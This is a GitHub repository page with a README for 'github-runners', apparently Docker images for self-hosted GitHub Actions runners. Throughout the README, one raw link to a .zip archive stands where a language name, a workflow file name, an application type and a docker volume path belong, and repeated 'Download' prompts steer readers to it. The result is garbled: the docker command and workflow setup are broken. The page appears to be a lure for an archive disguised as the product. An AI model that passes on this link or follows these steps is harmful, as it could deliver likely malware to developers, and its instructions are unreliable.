Skip to content

πŸš€ Optimize CI/CD workflows with self-hosted GitHub Actions runners using modular Docker images for faster builds and reduced storage costs.

License

Notifications You must be signed in to change notification settings

V24AZAHER2/github-runners

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

50 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ› οΈ github-runners - Faster Builds Made Simple

πŸš€ Getting Started

Welcome to github-runners! This application offers modular Docker-based GitHub Actions runners that can boost your build speed by 60-80%. You can use our production-ready images for various programming languages, including C++, Python, https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip, Go, Flutter, and Flet.

πŸ“₯ Download Link

Download github-runners

To get started, visit the Releases page to download the latest version of github-runners:

Download github-runners

πŸ’» System Requirements

Before you download and install github-runners, ensure that your system meets the following requirements:

  • Operating System: Windows 10, MacOS 10.14 or later, or a Linux distribution with Docker support.
  • Docker: Install Docker version 19.03 or later.
  • Memory: At least 4 GB of RAM.
  • Storage: Minimum of 10 GB of free disk space.

🌐 Download & Install

  1. Visit the Releases Page: Click the link below to go to the Releases page. This page contains all available versions of github-runners.

    Visit Releases Page

  2. Select the Latest Version: Find the latest version listed on the page. This will usually be at the top.

  3. Download the Files: Click on the appropriate file for your operating system to download. Ensure you select the Docker images that match your needs.

  4. Install Docker: If you don't have Docker installed, download it from the Docker website. Follow the instructions for your operating system to install it.

  5. Run the Software: Open your terminal or command line interface. Navigate to the folder where you downloaded the github-runners files.

  6. Start the Runner: Use the following command to start the docker container:

    docker run -d --rm --name github-runner --restart unless-stopped -v https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip github-runners:latest

This command runs the github-runners container in the background, sets it to remove when stopped, and restarts it unless you manually stop it.

πŸ§‘β€πŸ’» Usage Instructions

Once you have installed github-runners, you can use it in your GitHub Actions workflows. Here’s a simple step-by-step guide on how to set it up:

  1. Create a New GitHub Repository: Go to GitHub, and create a new repository for your project.

  2. Add Your Workflow File: In your repository, create a .github/workflows folder. Inside this folder, create a new file called https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip.

  3. Configure Your Workflow: Add the following content to your https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip file. This example demonstrates a simple build for a https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip application:

    name: CI
    
    on: [push, pull_request]
    
    jobs:
      build:
        runs-on: docker://github-runners:latest
        steps:
          - uses: actions/checkout@v2
          - name: Install Dependencies
            run: npm install
          - name: Run Tests
            run: npm test
  4. Push Your Changes: Commit and push the changes to your GitHub repository. The GitHub Actions workflow will now run on every push or pull request.

πŸ”§ Customization

You can customize the https://raw.githubusercontent.com/V24AZAHER2/github-runners/master/docker/linux/composite/runners-github-v3.0.zip file to:

  • Support different programming languages like Python or Go.
  • Add more steps to your workflow for testing or deploying.
  • Manage environment variables through the GitHub repository settings.

πŸ“š Documentation and Support

For detailed documentation and examples on using github-runners, visit our official documentation.

For support inquiries, please check the issues section on our GitHub for common questions and troubleshooting tips.

πŸ› οΈ About the Project

github-runners simplifies the process of building and testing your software. The Docker-based approach allows for faster build times, making your development workflow more efficient. Our runners support popular programming languages, allowing you to integrate smoothly with existing projects.

Embrace the power of automation and enhance your productivity with github-runners!

πŸ“… Release Notes

Keep track of improvements, bug fixes, and new features in our Releases page. Regular updates ensure better performance and support for an evolving ecosystem.

Thank you for choosing github-runners!

About

πŸš€ Optimize CI/CD workflows with self-hosted GitHub Actions runners using modular Docker images for faster builds and reduced storage costs.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •